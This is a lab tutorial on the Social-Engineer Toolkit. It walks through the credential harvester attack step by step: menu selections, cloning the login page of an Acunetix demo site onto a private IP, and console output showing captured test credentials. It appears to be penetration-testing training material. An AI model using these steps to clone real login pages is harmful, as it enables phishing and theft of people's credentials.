

SOCIAL ENGINEERING ATTACKS

- Social engineering is a psychological attack that tricks people into giving away sensitive information or taking unsafe actions.
- Social engineer(SE) toolkit is an open source python driven tool aimed at penetration testing.

1. Start setoolkit and select social-engineering attacks.

```

[ — ] The Social-Engineer Toolkit (SET) [ — ]
[ — ] Created by: David Kennedy (ReL1K) [ — ]
      Version: 8.0.3
      Codename: 'Maverick'
[ — ] Follow us on Twitter: @TrustedSec [ — ]
[ — ] Follow me on Twitter: @HackingDave [ — ]
[ — ] Homepage: https://www.trustedsec.com [ — ]
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 
```

```

Version: 8.0.3
Codename: 'Maverick'
[ — ] Follow us on Twitter: @TrustedSec
[ — ] Follow me on Twitter: @HackingDave
[ — ] Homepage: https://www.trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules

99) Return back to the main menu.

set> 2

```

1. Now, we are trying website attack vectors, so select option 2.

```
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The Tabnabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

99) Return to Main Menu
set:webattack>
```

Website attack vectors are pathways or methods that attackers use to exploit vulnerabilities and gain unauthorized access, potentially causing data breaches, system compromise, or malicious content injection.

Credential Harvester Attack:

Credential harvesting is a cyberattack technique where cybercriminals gather user credentials — such as user IDs, email addresses, passwords, and other login information — en masse. The hacker can then use the credentials to access systems and gather data or other sensitive information, sell or share them on the dark web, and/or advance a more sophisticated attack.

1. Select corresponding option

```
set:webattack>3

The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone.

The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu
```

2. Now select site cloner.

```
set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
```

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to rewrite. If the POST fields are not usual methods for posting forms this could fail. If it does, you can always save the HTML, rewrite the forms to be standard forms and use the "IMPORT" feature. Additionally, really important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

3. Enter the IP address of the host system which we want to revert back the credentials (Given).

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL IP address below, not your NAT address. Additionally, if you don't know basic networking concepts, and you have a private IP address, you will need to do port forwarding to your NAT IP address from your external IP address. A browser doesn't know how to communicate with a private IP address, so if you don't specify an external IP address if you are using this from an external perspective, it will not work. This isn't a SET issue this is how networking works.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.223.128]:192.168.223.128
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
```

4. Enter the url to access the site which we want to retrieve the credentials.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.223.128]:192.168.223.128
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://testphp.vulnweb.com/login.php

[*] Cloning the website: http://testphp.vulnweb.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```

5. Access the website by entering the IP address on the browser.

login page

← → ↻ 🏠 192.168.223.128

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

acunetix acuart

TEST and Demonstration site for Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art go

Browse categories
Browse artists
Your cart
Signup
Your profile
Our guestbook
AJAX Demo

Links
Security art
PHP scanner

If you are already registered please enter your login information below:

Username :
Password :
login

You can also [signup here](#).
Signup disabled. Please use the username **test** and the password **test**.

6. Enter any sample credentials and click login button.

acunetix acu art

TEST and Demonstration site for Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art
 go

Browse categories
Browse artists
Your cart
Signup
Your profile
Our guestbook
AJAX Demo

Links
Security art
PHP scanner
PHP vuln help
Fractal Explorer

If you are already registered please enter your login information below:

Username : test
Password : ●●●●
login

You can also [signup here](#).
Signup disabled. Please use the username **test** and the password **test**.

7. Now, target's credentials will be visible to attacker.

```
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.223.128 - - [25/Mar/2025 00:57:31] "GET / HTTP/1.1" 200 -
192.168.223.128 - - [25/Mar/2025 00:57:34] "GET /favicon.ico HTTP/1.1" 404 -
[*] We got a HTTP Request the output:
POSSIBLE PASSWORD FIELD FOUND: uname=test
POSSIBLE PASSWORD FIELD FOUND: pass=demo
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
192.168.223.128 - - [25/Mar/2025 01:01:10] "POST /userinfo.php HTTP/1.1" 302 -
```